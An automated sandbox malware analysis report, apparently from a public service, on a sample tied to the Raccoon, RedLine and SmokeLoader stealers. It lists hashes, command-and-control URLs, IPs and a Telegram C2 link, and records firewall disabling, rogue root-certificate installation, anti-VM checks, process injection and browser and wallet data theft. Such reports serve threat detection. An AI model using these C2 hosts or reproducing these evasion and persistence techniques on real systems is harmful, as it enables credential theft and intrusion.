raccoon | 858a2b253b7e26188cffde5e58dfb08e4a26ef393f962958d6a1615c93f9917e

Analysis

max time kernel
132s
max time network
153s
platform
windows7_x64
resource
win7v20210408
submitted
26-09-2021 09:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

924b06fed5002d7dbc6004401b7a519f.exe
Size

145KB
MD5

924b06fed5002d7dbc6004401b7a519f
SHA1

669962749b03a129e44c6eec9ef2804ec31493f4
SHA256

858a2b253b7e26188cffde5e58dfb08e4a26ef393f962958d6a1615c93f9917e
SHA512

7b9e2c6765077ebe4e438e86f805792b02e18e2cc4519184c80db4a975db40dec9969a950451f1cdce95a0648f8ff2347fce619e8b40551319ee69e5f577b486

Score

10^/10

raccoon redline smokeloader 5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4 installszxc qq backdoor discovery evasion infostealer spyware stealer themida trojan upx

Malware Config

Extracted

Family

smokeloader

Version

2020

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32

Extracted

Family

redline

Botnet

installszxc

138.124.186.2:27999

Extracted

Family

redline

Botnet

135.181.142.223:30397

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes

url4cnc
https://t.me/agrybirdsgamerept

rc4.plain

Signatures

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

powershell.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Start = "4" powershell.exe
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Start = "4"	powershell.exe

RedLine Payload 6 IoCs

Processes:

resource	yara_rule
\ProgramData\Stub.exe	family_redline
C:\ProgramData\Stub.exe	family_redline
C:\ProgramData\Stub.exe	family_redline
behavioral1/memory/1764-105-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral1/memory/1764-106-0x000000000041C5CE-mapping.dmp	family_redline
behavioral1/memory/1764-108-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Downloads MZ/PE file

Executes dropped EXE 16 IoCs

Processes:

B6C0.exeB9CD.exeBFE6.exeB6C0.exeC9D6.exeB9CD.exeD971.exeStub.exeB9CD.exeE1AC.exeE526.exeZenar.exeUpSys.exeUpSys.exeUpSys.exeMicrosoft_Edge.exe

pid	process
1528	B6C0.exe
2008	B9CD.exe
848	BFE6.exe
1228	B6C0.exe
1884	C9D6.exe
1976	B9CD.exe
1592	D971.exe
676	Stub.exe
1764	B9CD.exe
1044	E1AC.exe
1376	E526.exe
2232	Zenar.exe
2656	UpSys.exe
2708	UpSys.exe
2780	UpSys.exe
2860	Microsoft_Edge.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\Zenar.exe	upx
C:\Users\Admin\AppData\Local\Temp\Zenar.exe	upx
\Users\Admin\AppData\Local\Temp\Zenar.exe	upx
C:\Users\Admin\AppData\Local\Temp\Zenar.exe	upx
\ProgramData\MicrosoftNetwork\System.exe	upx

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

D971.exeE1AC.exeMicrosoft_Edge.exeBFE6.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	D971.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	E1AC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	E1AC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Microsoft_Edge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Microsoft_Edge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	BFE6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	BFE6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	D971.exe

Deletes itself 1 IoCs

Processes:

pid process

1272
Drops startup file 1 IoCs

Processes:

Zenar.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk Zenar.exe
Loads dropped DLL 10 IoCs

Processes:

B6C0.exeB9CD.exeC9D6.exeE1AC.exeZenar.exepowershell.exe

pid process

1528 B6C0.exe
2008 B9CD.exe
2008 B9CD.exe
1884 C9D6.exe
1044 E1AC.exe
2252
2232 Zenar.exe
2472 powershell.exe
2232 Zenar.exe
2232 Zenar.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1272

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk	Zenar.exe

Themida packer 10 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\BFE6.exe	themida
behavioral1/memory/848-82-0x0000000001280000-0x0000000001281000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\D971.exe	themida
behavioral1/memory/1592-111-0x0000000000EB0000-0x0000000000EB1000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\E1AC.exe	themida
behavioral1/memory/1044-120-0x0000000000F40000-0x0000000000F41000-memory.dmp	themida
\ProgramData\Systemd\Microsoft_Edge.exe	themida
\ProgramData\Systemd\Microsoft_Edge.exe	themida
C:\ProgramData\Systemd\Microsoft_Edge.exe	themida
behavioral1/memory/2860-177-0x0000000000400000-0x00000000011F4000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

D971.exeE1AC.exeMicrosoft_Edge.exeBFE6.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	D971.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	E1AC.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Microsoft_Edge.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BFE6.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

BFE6.exeD971.exeE1AC.exeMicrosoft_Edge.exe

pid process

848 BFE6.exe
1592 D971.exe
1044 E1AC.exe
2860 Microsoft_Edge.exe

pid	process
848	BFE6.exe
1592	D971.exe
1044	E1AC.exe
2860	Microsoft_Edge.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

924b06fed5002d7dbc6004401b7a519f.exeB6C0.exeB9CD.exe

description	pid	process	target process
PID 1612 set thread context of 1844	1612	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 1528 set thread context of 1228	1528	B6C0.exe	B6C0.exe
PID 2008 set thread context of 1764	2008	B9CD.exe	B9CD.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

924b06fed5002d7dbc6004401b7a519f.exeB6C0.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	924b06fed5002d7dbc6004401b7a519f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B6C0.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B6C0.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B6C0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	924b06fed5002d7dbc6004401b7a519f.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	924b06fed5002d7dbc6004401b7a519f.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

Zenar.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	Zenar.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	Zenar.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Zenar.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Zenar.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Zenar.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	Zenar.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

924b06fed5002d7dbc6004401b7a519f.exe

pid	process
1844	924b06fed5002d7dbc6004401b7a519f.exe
1844	924b06fed5002d7dbc6004401b7a519f.exe
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272
1272

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

1272
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

924b06fed5002d7dbc6004401b7a519f.exeB6C0.exe

pid process

1844 924b06fed5002d7dbc6004401b7a519f.exe
1228 B6C0.exe

pid	process
1272

Suspicious use of AdjustPrivilegeToken 26 IoCs

Processes:

C9D6.exeBFE6.exeStub.exeB9CD.exeD971.exeE1AC.exepowershell.exeUpSys.exeUpSys.exeMicrosoft_Edge.exe

description	pid	process
Token: SeShutdownPrivilege	1272
Token: SeShutdownPrivilege	1272
Token: SeShutdownPrivilege	1272
Token: SeDebugPrivilege	1884	C9D6.exe
Token: SeShutdownPrivilege	1272
Token: SeShutdownPrivilege	1272
Token: SeShutdownPrivilege	1272
Token: SeDebugPrivilege	848	BFE6.exe
Token: SeShutdownPrivilege	1272
Token: SeShutdownPrivilege	1272
Token: SeDebugPrivilege	676	Stub.exe
Token: SeDebugPrivilege	1764	B9CD.exe
Token: SeDebugPrivilege	1592	D971.exe
Token: SeDebugPrivilege	1044	E1AC.exe
Token: SeShutdownPrivilege	1272
Token: SeShutdownPrivilege	1272
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	2656	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	2656	UpSys.exe
Token: SeIncreaseQuotaPrivilege	2656	UpSys.exe
Token: 0	2656	UpSys.exe
Token: SeDebugPrivilege	2708	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	2708	UpSys.exe
Token: SeIncreaseQuotaPrivilege	2708	UpSys.exe
Token: SeLockMemoryPrivilege	2860	Microsoft_Edge.exe
Token: SeLockMemoryPrivilege	2860	Microsoft_Edge.exe

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

pid process

1272
1272
1272
1272
1272
Suspicious use of SendNotifyMessage 6 IoCs

Processes:

pid process

1272
1272
1272
1272
1272
1272

pid	process
1272
1272
1272
1272
1272

pid	process
1272
1272
1272
1272
1272
1272

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

924b06fed5002d7dbc6004401b7a519f.exeB6C0.exeB9CD.exeC9D6.exeE1AC.exeZenar.exe

description	pid	process	target process
PID 1612 wrote to memory of 1844	1612	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 1612 wrote to memory of 1844	1612	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 1612 wrote to memory of 1844	1612	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 1612 wrote to memory of 1844	1612	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 1612 wrote to memory of 1844	1612	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 1612 wrote to memory of 1844	1612	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 1612 wrote to memory of 1844	1612	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 1272 wrote to memory of 1528	1272		B6C0.exe
PID 1272 wrote to memory of 1528	1272		B6C0.exe
PID 1272 wrote to memory of 1528	1272		B6C0.exe
PID 1272 wrote to memory of 1528	1272		B6C0.exe
PID 1272 wrote to memory of 2008	1272		B9CD.exe
PID 1272 wrote to memory of 2008	1272		B9CD.exe
PID 1272 wrote to memory of 2008	1272		B9CD.exe
PID 1272 wrote to memory of 2008	1272		B9CD.exe
PID 1272 wrote to memory of 848	1272		BFE6.exe
PID 1272 wrote to memory of 848	1272		BFE6.exe
PID 1272 wrote to memory of 848	1272		BFE6.exe
PID 1272 wrote to memory of 848	1272		BFE6.exe
PID 1528 wrote to memory of 1228	1528	B6C0.exe	B6C0.exe
PID 1528 wrote to memory of 1228	1528	B6C0.exe	B6C0.exe
PID 1528 wrote to memory of 1228	1528	B6C0.exe	B6C0.exe
PID 1528 wrote to memory of 1228	1528	B6C0.exe	B6C0.exe
PID 1528 wrote to memory of 1228	1528	B6C0.exe	B6C0.exe
PID 1528 wrote to memory of 1228	1528	B6C0.exe	B6C0.exe
PID 1528 wrote to memory of 1228	1528	B6C0.exe	B6C0.exe
PID 2008 wrote to memory of 1976	2008	B9CD.exe	B9CD.exe
PID 2008 wrote to memory of 1976	2008	B9CD.exe	B9CD.exe
PID 2008 wrote to memory of 1976	2008	B9CD.exe	B9CD.exe
PID 2008 wrote to memory of 1976	2008	B9CD.exe	B9CD.exe
PID 1272 wrote to memory of 1884	1272		C9D6.exe
PID 1272 wrote to memory of 1884	1272		C9D6.exe
PID 1272 wrote to memory of 1884	1272		C9D6.exe
PID 1272 wrote to memory of 1884	1272		C9D6.exe
PID 2008 wrote to memory of 1764	2008	B9CD.exe	B9CD.exe
PID 2008 wrote to memory of 1764	2008	B9CD.exe	B9CD.exe
PID 2008 wrote to memory of 1764	2008	B9CD.exe	B9CD.exe
PID 2008 wrote to memory of 1764	2008	B9CD.exe	B9CD.exe
PID 1272 wrote to memory of 1592	1272		D971.exe
PID 1272 wrote to memory of 1592	1272		D971.exe
PID 1272 wrote to memory of 1592	1272		D971.exe
PID 1272 wrote to memory of 1592	1272		D971.exe
PID 1884 wrote to memory of 676	1884	C9D6.exe	Stub.exe
PID 1884 wrote to memory of 676	1884	C9D6.exe	Stub.exe
PID 1884 wrote to memory of 676	1884	C9D6.exe	Stub.exe
PID 1884 wrote to memory of 676	1884	C9D6.exe	Stub.exe
PID 2008 wrote to memory of 1764	2008	B9CD.exe	B9CD.exe
PID 2008 wrote to memory of 1764	2008	B9CD.exe	B9CD.exe
PID 2008 wrote to memory of 1764	2008	B9CD.exe	B9CD.exe
PID 2008 wrote to memory of 1764	2008	B9CD.exe	B9CD.exe
PID 2008 wrote to memory of 1764	2008	B9CD.exe	B9CD.exe
PID 1272 wrote to memory of 1044	1272		E1AC.exe
PID 1272 wrote to memory of 1044	1272		E1AC.exe
PID 1272 wrote to memory of 1044	1272		E1AC.exe
PID 1272 wrote to memory of 1044	1272		E1AC.exe
PID 1272 wrote to memory of 1376	1272		E526.exe
PID 1272 wrote to memory of 1376	1272		E526.exe
PID 1272 wrote to memory of 1376	1272		E526.exe
PID 1272 wrote to memory of 1376	1272		E526.exe
PID 1044 wrote to memory of 2232	1044	E1AC.exe	Zenar.exe
PID 1044 wrote to memory of 2232	1044	E1AC.exe	Zenar.exe
PID 1044 wrote to memory of 2232	1044	E1AC.exe	Zenar.exe
PID 1044 wrote to memory of 2232	1044	E1AC.exe	Zenar.exe
PID 2232 wrote to memory of 2472	2232	Zenar.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\924b06fed5002d7dbc6004401b7a519f.exe
"C:\Users\Admin\AppData\Local\Temp\924b06fed5002d7dbc6004401b7a519f.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1612

C:\Users\Admin\AppData\Local\Temp\924b06fed5002d7dbc6004401b7a519f.exe
"C:\Users\Admin\AppData\Local\Temp\924b06fed5002d7dbc6004401b7a519f.exe"
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1844

